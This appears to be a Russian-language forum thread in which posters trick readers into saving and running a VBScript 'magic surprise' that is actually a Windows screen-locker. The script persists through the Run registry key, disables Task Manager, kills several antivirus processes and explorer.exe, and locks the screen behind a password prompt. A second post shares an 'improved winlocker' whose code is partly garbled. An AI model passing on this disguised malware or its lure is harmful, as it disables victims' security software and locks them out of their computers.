Хотите увидеть один уникальный магический сюрприз (работает для компа)? займёт минуту

введи в блокнот
On Error Resume Next
NameScript = WScript.ScriptFullName
With WScript.CreateObject("WScript.Shell")
RegScript = .RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyScript")
AddReg = True
If Err.Number <> 0 Then
Err.Clear
ElseIf RegScript = NameScript Then
AddReg = False
End If
If AddReg Then
.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyScript", NameScript, "REG_SZ"
.Run "%systemroot%\System32\RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters", 0, True
End If
End With
On Error Resume Next
set x = createobject ("wscript.shell")
set t = createobject ("wscript.shell")
x.run"reg add HKCU\Software\Microsoft\Windows\CurrentV­ersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1"
x.run"taskkill /f /im drwebengine.exe "
x.run"taskkill /f /im avp.exe"
x.run"taskkill /f /im egui.exe"
x.run"taskkill /f /im ekrn.exe"
x.run"taskkill /f /im AvastSvc.exe"
x.run"TASKKILL /F /IM explorer.exe"
do
t=inputbox("Windows заблокирован! Введите пароль! ")
if t="27adareh27" then
set z = createobject("wscript.shell")
z.run"explorer.exe"
z.run"reg delete HKCU\Software\Microsoft\Windows\CurrentV­ersion\Policies\System /v DisableTaskMgr"
exit do
else
msgbox"Неправильный пароль! ",16,"Error"
end if
loopи сохрани в формате .vbs
и запусти
вот это фокус

проще нажать Win+R и набрать то же самое

rundll32.exe powrprof.dll, SetSuspendState 0,1,0 тоже прикольно вводить

это улучшеный винлокер зацените
On Error Resume Next
NameScript = WScript.ScriptFullName
With WScript.CreateObject("WScript.Shell")
RegScript = .RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyScript")
AddReg = True
If Err.Number <> 0 Then
Err.Clear
ElseIf RegScript = NameScript Then
AddReg = False
End If
If AddReg Then
.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyScript", NameScript, "REG_SZ"
.Run "%systemroot%\System32\RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters", 0, True
End If
End With
On Error Resume Next
Set t=createobject(“wscript.shell”)
Set kill = createobject(“wscript.shell”)
Kill.run”taskkill /f /im explorer.exe”
Set kill = createobject(“wscript.shell”)
Kill.run”taskkill /f /im taskmgr.exe”
Set kill = createobject(“wscript.shell)
Kill.run”taskkill /f /im taskmgr.exe”
.run"taskkill /f /im drwebengine.exe "
Kill.run"taskkill /f /im avp.exe"
Kill.run"taskkill /f /im egui.exe"
Kill.run"taskkill /f /im ekrn.exe"
Kill.run"taskkill /f /im AvastSvc.exe"
Kill.run"taskkill /f /im avpui.exe"
Do
Set s = createobject("wscript.shell")
Kill.run"TASKKILL /F /IM explorer.exe"
s.Regwrite"HKCU\Software\Microsoft\Windows\Currentversion\Policies\System\disabletaskmgr",1, "REG_DWORD"
a1 = inputbox ("Windows заблокирован! Введите пароль! ")
loop until a1 = "1234"
s.Regwrite" HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyScript”,1,”REG_DWORD”
s.Regwrite"HKCU\Software\Microsoft\Windows\Currentversion\Policies\System\disabletaskmgr",0, "REG_DWORD"
s.run"explorer.exe"
и сохрани в .vbs пароль: 1234